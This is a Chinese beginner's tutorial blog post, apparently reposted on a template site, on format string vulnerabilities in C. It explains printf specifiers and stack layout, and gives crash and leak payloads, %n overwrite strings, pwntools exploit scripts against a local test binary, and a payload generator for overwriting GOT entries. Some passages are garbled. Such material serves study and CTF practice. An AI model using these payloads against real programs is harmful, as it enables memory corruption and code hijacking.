格式化字符串漏洞

这篇具有很好参考价值的文章主要介绍了格式化字符串漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

格式化字符串漏洞

初学pwn,学到了格式化字符串漏洞,总结一下。

格式化字符串函数:格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。

漏洞printf(s)

用 printf() 为例,它的第一个参数就是格式化字符串 :“Color %s,Number %d,Float %4.2f”

然后 printf 函数会根据这个格式化字符串来解析对应的其他参数

%d - 十进制 - 输出十进制整数

%s - 字符串 - 从内存中读取字符串

%x - 十六进制 - 输出十六进制数

%c - 字符 - 输出字符

%p - 指针 - 指针地址

%n - 到目前为止所写的字符数

%hhn - 写1字节

%hn - 写2字节

%ln - 写4个字节

%lln - 写8字节

格式转换

格式化字符串是由普通字符(包括%)和转换规则构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入到输出流中。

转换规则由可选的部分和必选部分组成。其中只有转换指示符type是必选部分,用来表示转换类型。

可选部分如下:

  • 可选部分的 parameter比较特殊,他是一个POSIX扩展,不属于C99,用于指定某个参数,例如**%2$d**,表示输出后面的第二个参数。

  • 标志(flags)用来调整输出和打赢的符号,空白,小数点等。

  • 宽度(width)用来指定输出字符的最小个数。

  • 精度(.precision)用来指示打印符号个数,小数点位数或者有效数字个数。

  • 长度(length)用来指定参数的大小。

%[parameter][flags][width][.precision][length]type

漏洞原理

格式化字符串漏洞从2000年左右开始流行起来,几乎在各种软件中都能见到它的身影,随着技术的发展,软件的安全性的提升,现在在PC段已经比较少见了,但是在物联网设备上依然层出不穷。2001年USENIX security会议上发表的文章为glibc提供了一个对抗格式化字符串漏洞的patch,通过静态分析检查参数个数与格式化字符串是否匹配。另一项安全机制FORTIFY_SOURCE也让该漏洞的利用更加困难。

基本原理

在X86结构下,格式化字符串的参数是通过栈传递的。

#include<stdio.h>
void main()
{
printf("%s %d %s","hello World",233,"\n");

}
.....................

   0x565561f6 <main+41>    lea    edx, [eax - 0x1fce]
   0x565561fc <main+47>    push   edx
   0x565561fd <main+48>    lea    edx, [eax - 0x1fc2]
   0x56556203 <main+54>    push   edx
   0x56556204 <main+55>    mov    ebx, eax
 ► 0x56556206 <main+57>    call   printf@plt                    <printf@plt>
        format: 0x56557016 ◂— '%s %d %s'
        vararg: 0x5655700a ◂— 'hello World'
 
   0x5655620b <main+62>    add    esp, 0x10
   0x5655620e <main+65>    nop    
   0x5655620f <main+66>    lea    esp, [ebp - 8]
   0x56556212 <main+69>    pop    ecx
   0x56556213 <main+70>    pop    ebx
   ..................
00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%s %d %s'
01:0004│     0xffffcf44 —▸ 0x5655700a ◂— 'hello World'
02:0008│     0xffffcf48 ◂— 0xe9
03:000c│     0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */
04:0010│     0xffffcf50 —▸ 0xffffcf70 ◂— 0x1
05:0014│     0xffffcf54 ◂— 0x0
06:0018│ ebp 0xffffcf58 ◂— 0x0
07:001c│     0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add    esp, 0x10


根据cdecl的调用约定,在进入printf函数之前,程序将参数从右到左依次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是“%”,那么字符被直接复制到输出。否则,读取下一个非空字符,获取相应的参数并解析输出。

接下来我们修改上面的程序,给格式化字符串加上“%x %x %x %3$s",使它出现格式化字符串漏洞。

   0x565561f6 <main+41>    lea    edx, [eax - 0x1fce]
   0x565561fc <main+47>    push   edx
   0x565561fd <main+48>    lea    edx, [eax - 0x1fc2]
   0x56556203 <main+54>    push   edx
   0x56556204 <main+55>    mov    ebx, eax
 ► 0x56556206 <main+57>    call   printf@plt                    <printf@plt>
        format: 0x56557016 ◂— '%x %x %x %3$s'
        vararg: 0x5655700a ◂— 'hello World'
 
   0x5655620b <main+62>    add    esp, 0x10
   0x5655620e <main+65>    nop    
   0x5655620f <main+66>    lea    esp, [ebp - 8]
   0x56556212 <main+69>    pop    ecx
   0x56556213 <main+70>    pop    ebx
─────────────────────────────────────────────
   1 #include<stdio.h>
   2 void main()
   3 {
 ► 4 printf("%x %x %x %3$s","hello World",233,"\n");
   5 
   6 }
──────────────────────────────────────────────────
00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%x %x %x %3$s'
01:0004│     0xffffcf44 —▸ 0x5655700a ◂— 'hello World'
02:0008│     0xffffcf48 ◂— 0xe9
03:000c│     0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */
04:0010│     0xffffcf50 —▸ 0xffffcf70 ◂— 0x1
05:0014│     0xffffcf54 ◂— 0x0
06:0018│ ebp 0xffffcf58 ◂— 0x0
07:001c│     0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add    esp, 0x10

从反汇编代码来看没有任何区别。所以我们重点关注参数传递。程序打印出来了四个值,参数只有三个。

如果我们将程序里面的格式化字符省略,转为由外部输入。

   1 #include<stdio.h>
   2 void main()
   3 {
       char s[100];
       scanf(s);
   4   printf(s);
   5 
   6 }

如果大家都正常输入字符,程序不会有问题,但如果我们在s里面输入一些转换指示符。那么printf()会把它当成格式化字符串解析,漏洞由此发生。

格式化字符串漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配。

漏洞利用原理

对于格式化字符串漏洞的利用主要有:使程序崩溃,栈数据泄露,任意地址内存泄露,栈数据覆盖,任意地址内存覆盖。

程序崩溃

这种攻击方法最简单,只需要输入一串 %s 就可以

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃

**在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV (SIGSEGV分为SIG+SEGV。SIG是信号名的通用前缀;SEGV是segmentation violation(段违例)的缩写。)**信号,从而使程序非正常终止并产生核心转储(产生错误报告)。

泄露内存

通过%x将栈后面的参数给泄露出来。

%x会在栈上找临近的一个参数,根据 格式化字符串 给打印出来,这样就把他后面一个栈上的值给输出出来了。

但是上面的都是获取临近的内容进行输出,我们不可能只要这几个东西,可以通过 %n$x 来获取被视作第 n+1 个参数的值(格式化字符串是第一个参数).

另外也可以通过 %s 来获取栈变量对应的字符串。

小技巧:

利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别

利用 %s 来获取变量所对应地址的内容,只不过有零截断

利用 %n x 来 获 取 指 定 参 数 的 值 , 利 用 x 来获取指定参数的值,利用 %n xs 来获取指定参数对应地址的内容

泄露任意地址的内存

攻击者使用类似于“%s”的格式规范就可以泄露出参数(指针指向内部存的数据),程序会将它作为一个ASCII字符串处理,直到遇到一个空字符。所以,如果攻击者能够操纵这个参数的值,那就可以泄露任意地址的内容。

之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x

下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了,但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试

当然这也可以用 AAAA%4$p 来达到同样的效果,通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址

使用 objdump -R fs1 查看一下 got 表

格式化字符串漏洞

%s 是把地址指向的内存内容给打印出来,可以把 函数的地址给打印出来。

覆盖栈内存

%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量,只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。

一般来说,利用分为以下的步骤:

  • 确定覆盖地址

  • 确定相对偏移

  • 进行覆盖

源文件

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("a= %p b=  %p c=  %p\n",&a ,&b, &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

关于覆盖偏移的话可以通过测试得出来:

AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9cnuysRP-1649481385031)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220213113952399.png)]

可以看到格式化字符是第6个参数。

那接下来,通过 %n 来进行覆盖,c_addr+%012d+%6$n

c_addr 再加上 12 之后才能凑够 16,这样就可以把 c 改成 16。

%n可以将对应参数地址存储的值给改写。

覆盖任意地址内存

覆盖小数字

如果想要将一个地方改为一个较小的数字,只需要 %n 是 数字 就可以了,如果想改成 2,可以用 aa%k$n,但是有个问题,之前我们是把地址放在前面,加上地址(4或8字节)之后就成了一个至少比 4 大的数

aa%k n x x , 如 果 用 这 样 的 方 式 , 前 面 a a nxx,如果用这样的方式,前面 aa%k 是第六个参数, nxxaanxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx。

from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以。

覆盖大数字

变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数

意思是说:hhn 写入的就是单字节,hn 写入的就是双字节。

from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
#pwntools带着一个函数,很方便
print sh.recv()
sh.interactive()

前面的那一串 p32(),每算是 4 字符,这样到 %6$hhn 前面就是:16+104=120,也就是 0x78

再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678

ps:

对于格式化字符串漏洞的题可以用pwntools的工具fatstr_payload()来简化构造payload。

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

但是我们一般用的格式是

fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

这是专门为32位格式化漏洞的函数。

下面是函数的源代码:文章来源地址https://www.toymoban.com/news/detail-501596.html

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

到了这里,关于格式化字符串漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python 的字符串格式化指南

    Python 中控制字符串格式通常有三种形式: % 占位符(格式化符) str.format() 函数 f-string 内嵌式 Python 最先开始格式化字符串是用 %,但它的致命缺点是支持的类型有限制,只支持 int,str,double 这三种类型,从而导致其他所有类型只能转换(强制转换)为这几个类型,还有如果

    2024年02月08日
    浏览(55)
  • 第33讲:Python格式化字符串时使用字典传递字符串

    在前面对字符串进行格式化输出时,传递被格式化的字符串时都是单个的,如果想要对字典中Key对应的Value进行格式化输出,常规的方法如下:

    2023年04月24日
    浏览(52)
  • 格式化字符串你都懂了吗

    今天跟大家聊聊字 符串的格式化 这部分内容。乍一听“ 格式化 ”这三个字,有的初学者可能会懵:难道这是要清空字符串的节奏? 其实不是的,恰恰相反,格式化字符串是为了让字符串变的更美观、更灵活。接下来就给大家详细介绍格式化字符串的概念以及具体用法。 格

    2024年02月04日
    浏览(51)
  • 浅谈非栈上格式化字符串

    这里先浅分析修改返回地址的两种打法,分别是\\\"诸葛连弩\\\"和”四马分肥“ 本文例题 以陕西省赛easy_printf为主 简单看一看程序 需要先过一个判断然后进入vuln 进入后 有一个13次的循环 可以让我们操作 第一步 肯定要先leak出栈地址 程序基地址和libc基地址 第二步 修改ret地址

    2024年02月14日
    浏览(50)
  • Python字符串格式化 (%操作符)

    在许多编程语言中都包含有格式化字符串的功能,比如C和Fortran语言中的格式化输入输出。在Python中内置有对字符串进行格式化的操作符是\\\"%\\\"。 模板 格式化字符串时,Python使用一个字符串作为模板。模板中有格式符,这些格式符为真实值预留位置,并说明真实数值应该呈现的

    2024年02月14日
    浏览(47)
  • Python 用户输入和字符串格式化指南

    Python 允许用户输入数据。这意味着我们可以向用户询问输入。在 Python 3.6 中,使用 input() 方法来获取用户输入。在 Python 2.7 中,使用 raw_input() 方法来获取用户输入。以下示例要求用户输入用户名,并在输入用户名后将其打印在屏幕上: Python 3.6: Python 2.7: 为了确保字符串按预

    2024年02月05日
    浏览(77)
  • 格式化字符串走过的坑 pwn109

    格式化字符串走过的坑 pwn109 今天做的一道题有一个坑我调试半天终于打通了,格式化字符串的坑,确实不少,东西也比较多容易忘记,怎么说呢,功夫在平时,经验少了 老规矩先看一下保护 Full RELRO意味着got不能修改也就是不能通过格式化字符串漏洞来改got表,但是nx保护关

    2024年04月08日
    浏览(59)
  • 【Python入门篇】——Python基础语法(字符串格式化,表达式格式化和数据输入)

    作者简介: 辭七七,目前大一,正在学习C/C++,Java,Python等 作者主页: 七七的个人主页 文章收录专栏: Python入门,本专栏主要内容为Python的基础语法,Python中的选择循环语句,Python函数,Python的数据容器等。 欢迎大家点赞 👍 收藏 ⭐ 加关注哦!💖💖 目前通过%符号占位

    2024年02月05日
    浏览(56)
  • Java工具类——json字符串格式化处理

    在我们拿到一团未经格式化的json字符串时,非常不方便查看,比如这样 因此随手写了个工具类用来格式化json。注意,原json字符串必须语法无误,并且不包含换行、空格、缩进等,否则会保留下来。 ok废话不多说上代码 运行后效果

    2024年01月17日
    浏览(50)
  • Godot 4 源码分析 - 增加格式化字符串功能

    Godot 4的主要字符串类型为String,已经设计得比较完善了,但有一个问题,格式化这块没怎么考虑。 String中有一个format函数,但这个函数只有两个参数,这咋用? 查找使用例子,都是这种效果 一看就懵。哪里有之前用的带%s %d...之类的格式化用得舒服。 动手实现一个 提供s

    2024年02月14日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包